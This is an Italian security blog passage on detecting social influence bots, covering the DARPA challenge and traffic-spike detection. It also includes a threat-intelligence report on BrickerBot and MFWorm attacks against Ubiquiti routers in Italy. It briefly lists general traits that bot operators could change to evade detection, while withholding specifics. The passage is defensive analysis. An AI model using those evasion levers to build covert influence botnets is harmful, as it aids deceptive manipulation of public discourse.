Va anche tenuto presente che, secondo i dati dell’inchiesta sulle competenze degli adulti svolta dall’Ocse, “Il 27.7% degli adulti italiani possiede competenze linguistiche di Livello 1 o inferiore”, dove per Livello 1 si intendono le persone che si limitano ad essere “in grado di riempire semplici formulari, comprendere il significato di semplici frasi e leggere con fluidità un testo scritto”.

È evidente che non si tratta di un problema esclusivamente tecnologico, bensì di un deficit culturale ed educativo che va colmato con politiche apposite a medio e lungo termine. Per quanto riguarda il breve termine, in attesa (e nella speranza) che la questione venga affrontata in maniera strutturata e istituzionale, possiamo cercare di arginare gli effetti più nefasti con i mezzi a nostra disposizione nell’immediato.

Twitter, uno dei social network più colpiti

 

La Darpa Challenge

Molti progetti universitari e privati hanno impiegato diverse tecniche per tentare di identificare con sicurezza gli influence bot, di questi i più completi ed efficaci sono quelli che hanno partecipato alla Darpa Challenge statunitense. Sei squadre si sono sfidate in tempo e precisione utilizzando soluzioni sofisticate che prendevano in considerazione una serie di parametri caratterizzanti che andavano dalla sintassi delle frasi, al timing dei tweet, al grafo relazionale che comprendeva gli account in esame, ecc. I risultati in laboratorio sono stati eccezionali: quasi tutte le squadre hanno identificato il 100% dei bot, la maggior parte di esse con una percentuale di falsi positivi vicina allo zero. Quello che sembra un assoluto successo, tuttavia, non è privo di lati negativi e difficoltà nell’applicarlo al lavoro di tutti i giorni. Innanzitutto, tutte le squadre hanno utilizzato dei sistemi di machine learning, che si mostrano sicuramente efficaci, ma non possono prescindere dal periodo di training (una base di dati costituita da una certa quantità di account sicuramente bot e un’altra di account sicuramente umani viene data in pasto al sistema, che li utilizza poi come punto di partenza per individuare gli account assimilabili all’una o all’altra categoria). Questo training richiede molto tempo e, idealmente, un continuo aggiornamento che segua gli sviluppi delle più recenti strategie che i programmatori di bot elaborano per impedirne l’individuazione.

 

Idee e proposte

Allo stato attuale dell’arte, ci è già stato possibile individuare alcuni accorgimenti che renderebbero i futuri bot molto meno individuabili di quelli attuali, che vanno a modificare in particolare:

  • il timing dei tweet, dei retweet, delle menzioni ecc., affinché sia realmente casuale;
  • la rete relazionale, in modo da impedirne la ricostruzione;
  • la somiglianza del contenuto dei tweet a quello che pubblicherebbe un utente umano;
  • la geolocalizzazione, simulata in maniera coerente.

Non specificherò in questa sede come sarebbe teoricamente possibile eludere gli attuali strumenti di analisi, per non fornire facili suggerimenti a eventuali malintenzionati. L’argomento viene trattato in maniera più estesa e specifica all’interno del volume di prossima pubblicazione che riporta gli Atti dell’ottava Conferenza Nazionale sulla Cyber Warfare (CWC) 2017.

 

Si ripresenta la situazione, ben nota a chi si occupa di sicurezza informatica, in cui gli attaccanti hanno la possibilità intrinseca di essere sempre un passo avanti ai difensori. Come dimostrato dai nostri semplici accorgimenti, le caratteristiche su cui si basano gli attuali metodi per l’individuazione dei social bot possono essere cambiate, non appena il botmaster (colui che gestisce la botnet) riesce ad analizzare il funzionamento degli strumenti di individuazione più all’avanguardia.

L’unica cosa che non può essere cambiata è l’intensità dell’attività di diffusione dei contenuti, il potenziamento della portata mediatica e della popolarità, il marketing di prodotti o siti web; se venisse modificata, i bot perderebbero senso di esistere non potendo più svolgere la funzione per cui sono stati creati. Un social bot poco produttivo o una campagna marketing in sordina non sono certo dei risultati voluti e ricercati.

Esattamente come nel caso delle botnet formate da computer o da dispositivi IoT, anche le social botnet ricevono istruzioni da un centro di comando e controllo ed eseguono determinate azioni a seconda dei comandi ricevuti. Nel caso di Twitter, ad esempio, si può ipotizzare che nei momenti immediatamente successivi all’attivazione della botnet, si verifichino dei picchi di traffico relativo all‘hashtag di turno, in tutto e per tutto simile a quelli individuabili durante gli attacchi DDOS.

L’identificazione in tempo reale di un’anomalia nella quantità di traffico relativo a un determinato argomento, può suggerire il risveglio di una botnet e portare l’attenzione sui suoi probabili membri, ovvero gli specifici account che hanno causato l’aumento.

 

In conclusione, per quanto possano dimostrarsi utili le analisi a posteriori da un punto di vista sia tecnico che di strategie di comunicazione, è indispensabile sviluppare un meccanismo di identificazione che consenta di bloccare quelli che sono veri e propri attacchi all’interno di una logica di information warfare. Bisogna agire in anticipo, bloccarli prima che abbiano la possibilità di causare danni perché, come abbiamo visto, il processo di condizionamento è difficilmente reversibile.

 

E.Z.

Ubiquiti Botnet

Da ormai diversi mesi InTheCyber registra un incremento nel numero di apparati di rete Italiani colpiti da infezione “BrickerBot”.

BrickerBot è una botnet che rende inutilizzabili i sistemi IoT che utilizzano credenziali di default.

Nel caso di apparati di rete Ubiquiti, la botnet ne modifica l’hostname nel tentativo di allertare i proprietari del dispositivo comunicando la tipologia di vulnerabilità sfruttata.

Solo in Italia sono stati attaccati con successo circa 1700 router.

Fig.1 Ubiquiti exploitation type in Italy

In Italia la maggior parte dei dispositivi risulta essere stata compromessa tramite l’utilizzo di credenziali “guessable”.

Gli hostname “HACKED-ROUTER-HELP-SOS-WAS-MFWORM-INFECTED” evidenziano la precedente compromissione dell’apparato da parte del malware “MFWorm” (che aggiunge un utente sfruttando una vulnerabilità nota dal 2015).

Tanti ISP minori italiani che sono stati coinvolti.

Fig.2 Ubiquiti product involved

INTHECYBER – Honeypot Tracking

Il CyberSecurity Center di InTheCyber monitora attacchi su rete pubblica tramite diverse tecniche di raccolta dati e attività di IR.

Nell’ultimo mese, sono stati rilevati 9000 IP che effettuano scansioni e BruteForce su protocollo SSH e Telnet generando un totale di 4 milioni di eventi.

Di questi, 1500 circa hanno sfruttato utenze di default utilizzati da apparati Ubiquiti, circa 200 sono quelli che hanno tentato di sfruttare le utenze create da MFWORM.